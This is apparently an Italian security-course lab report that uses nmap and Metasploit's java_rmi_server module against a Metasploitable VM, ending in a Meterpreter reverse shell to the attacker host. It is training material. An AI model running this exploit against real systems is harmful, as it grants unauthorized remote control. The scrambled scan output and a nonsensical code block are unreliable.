Progetto S7L5

Il progetto di oggi consiste nello sfruttare una vulnerabilità presente sulla porta 1099 – Java RMI.

Java-RMI consente ad un oggetto Java in un'applicazione di poter chiamare metodi su oggetti in altre applicazioni Java in esecuzione su una macchina remota.

La vulnerabilità presente, potrebbe permettere ad un attaccante di ottenere accesso non autorizzato, usare un attacco Dos per mandare in down il servizio e non permettere di conseguenza l'accesso agli utenti o, nel caso in cui l'applicazione sia mal figurata, consentire il completo controllo della macchina da parte dell'attaccante.

Eseguiremo quindi un exploit per andare a sfruttare tale vulnerabilità. Ricordiamo che un exploit può essere considerato un software o un insieme di comandi che sfrutta le vulnerabilità in un sistema o in un'applicazione per poter eseguire azioni che normalmente non dovrebbero essere possibili.

Per iniziare, eseguiremo una scansione con nmap per verificare che la porta sia effettivamente aperta.

```
kali@kali: ~
File Actions Edit View Help
s nmap -sV 192.168.50.101
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 09:40 CET
Nmap scan report for 192.168.50.101
Host is up (0.014s latency).
Not shown: 978 closed tcp ports (conn-refused)
          STATE SERVICE
PORT
                               VERSION
21/tcp
                               vsftpd 2.3.4
          open ftp
                             OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
22/tcp
          open ssh
          open telnet
open smtp
                             Linux telnetd
Postfix smtpd
23/tcp
25/tcp
                             ISC BIND 9.4.2
Apache httpd 2.2.8 ((Ubuntu) DAV/2)
          open domain
53/tcp
          open http
80/tcp
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
         open exec
open login?
512/tcp
                               netkit-rsh rexecd
513/tcp
514/tcp open shell
                               Netkit rshd
                 java-rmi GNU Classpath grmiregistry
1099/tcp open
2049/tcp open
                               2-4 (RPC #100003)
                 nfs
2121/tcp open ftp
                             ProFTPD 1.3.1
3306/tcp open mysql
                             MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11
                               (access denied)
6667/tcp open irc
                               UnrealIRCd
8009/tcp open
                 ajp13
                               Apache Jserv (Protocol v1.3)
8180/tcp open http
                               Apache Tomcat/Coyote JSP engine 1.1
```

Come possiamo vedere, la porta 1099 risulta aperta ed è presente il servizio Java-rmi.

Una volta fatto questo, andremo ad aprire msfconsole (interfaccia che permette di interagire con le funzionalità di Metasploitable) ed andremo a cercare la vulnerabilità relativa a tale servizio.

Una volta selezionato l'exploit che andremo ad eseguire, passeremo alla sua configurazione, in modo che lo stesso venga eseguito in modo corretto.

Senza la giusta configurazione, non sarà possibile infatti eseguire l'exploit. Andremo quindi a configurare l'indirizzo IP del nostro target (la macchina metasploitable) e, se necessario, anche il payload.

```
### Big continuity ### Big cont
```

Per configurare in modo corretto l'exploit, andremo quindi ad inserire l'indirizzo ip del target nel cmapo "RHOSTS" con il comando "set RHOSTS". In questo caso, lasceremo il payload predefinito per effettuare l'exploit. Fatto questo, lanceremo l'exploit.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444

[*] 192.168.50.101:1099 - Using URL: http://192.168.50.100:8080/W5qFtR

[*] 192.168.50.101:1099 - Server started.

[*] 192.168.50.101:1099 - Sending RMI Header...

[*] 192.168.50.101:1099 - Sending RMI Call...

[*] 192.168.50.101:1099 - Replied to request for payload JAR

[*] Sending stage (58829 bytes) to 192.168.50.101

[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.101:35743) at 2023-11-10 09:51:24 +0100
```

Per verificare che l'exploit sia stato eseguito con successo, andremo a verificare l'indirizzo IP, usando

il comando ifconfig . Come possiamo notare,

alla riga "IPv4" è presente l'ip del nostro target.

Come ultimo passaggio, andremo a verificare le informazioni presenti sulla tabella di routing della macchina vittima, usando il comando "route".

